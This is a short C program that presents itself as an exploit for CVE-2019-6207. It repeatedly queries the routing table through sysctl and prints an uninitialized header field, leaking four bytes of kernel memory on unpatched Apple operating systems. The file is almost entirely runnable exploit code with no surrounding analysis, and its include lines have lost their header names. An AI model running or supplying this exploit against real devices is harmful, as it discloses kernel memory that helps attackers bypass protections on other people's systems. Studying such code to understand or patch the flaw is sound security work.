#include #include #include #include #include #include #include #include struct rt_metrics { u_int32_t rmx_locks; /* Kernel leaves these values alone */ u_int32_t rmx_mtu; /* MTU for this path */ u_int32_t rmx_hopcount; /* max hops expected */ int32_t rmx_expire; /* lifetime for route, e.g. redirect */ u_int32_t rmx_recvpipe; /* inbound delay-bandwidth product */ u_int32_t rmx_sendpipe; /* outbound delay-bandwidth product */ u_int32_t rmx_ssthresh; /* outbound gateway buffer limit */ u_int32_t rmx_rtt; /* estimated round trip time */ u_int32_t rmx_rttvar; /* estimated rtt variance */ u_int32_t rmx_pksent; /* packets sent using this route */ u_int32_t rmx_state; /* route state */ u_int32_t rmx_filler[3]; /* will be used for T/TCP later */ }; struct rt_msghdr { u_short rtm_msglen; /* to skip over non-understood messages */ u_char rtm_version; /* future binary compatibility */ u_char rtm_type; /* message type */ u_short rtm_index; /* index for associated ifp */ int rtm_flags; /* flags, incl. kern & message, e.g. DONE */ int rtm_addrs; /* bitmask identifying sockaddrs in msg */ pid_t rtm_pid; /* identify sender */ int rtm_seq; /* for sender to identify action */ int rtm_errno; /* why failed */ int rtm_use; /* from rtentry */ u_int32_t rtm_inits; /* which metrics we are initializing */ struct rt_metrics rtm_rmx; /* metrics themselves */ }; int main(int argc, const char *argv[]) { printf("CVE-2019-6207 exploit to leak 4 bytes of arbitrary kernel memory\n" "Tested on MacOS 10.14.1, should works on:\n" "MacOS < 10.14.4 ; iOS < 12.2 ; tvOS < 12.2 ; watchOS < 5.2\n\n"); int mib[6]; mib[0] = CTL_NET; mib[1] = PF_ROUTE; // sysctl_rtsock mib[2] = 0; // protocol number, could be anything mib[3] = 2; // af = AF_INET = 2 mib[4] = 1; // w_op = NET_RT_DUMP = 1 mib[5] = 0; // w_flags = 0 size_t len = 0; // Get the buffer length int error = sysctl(mib, sizeof(mib) / sizeof(mib[0]), NULL, &len, NULL, 0); if (error || !len) { printf("Error: sysctl_dumpentry() doesn't returned the buffer length\n"); return 1; } printf("Buffer length = 0x%zx\n", len); uint8_t *buf = malloc(len); if (!buf) { printf("Error: malloc() failed\n"); return 1; } // Trigger the memory leak while (1) { error = sysctl(mib, 6, buf, &len, NULL, 0); if (error) { printf("Error: sysctl() failed\n"); return 1; } printf("rt_msghdr.rtm_inits (+0x%zX): 0x%08X\n", offsetof(struct rt_msghdr, rtm_inits), ((struct rt_msghdr *)buf)->rtm_inits); sleep(1); } return 0; }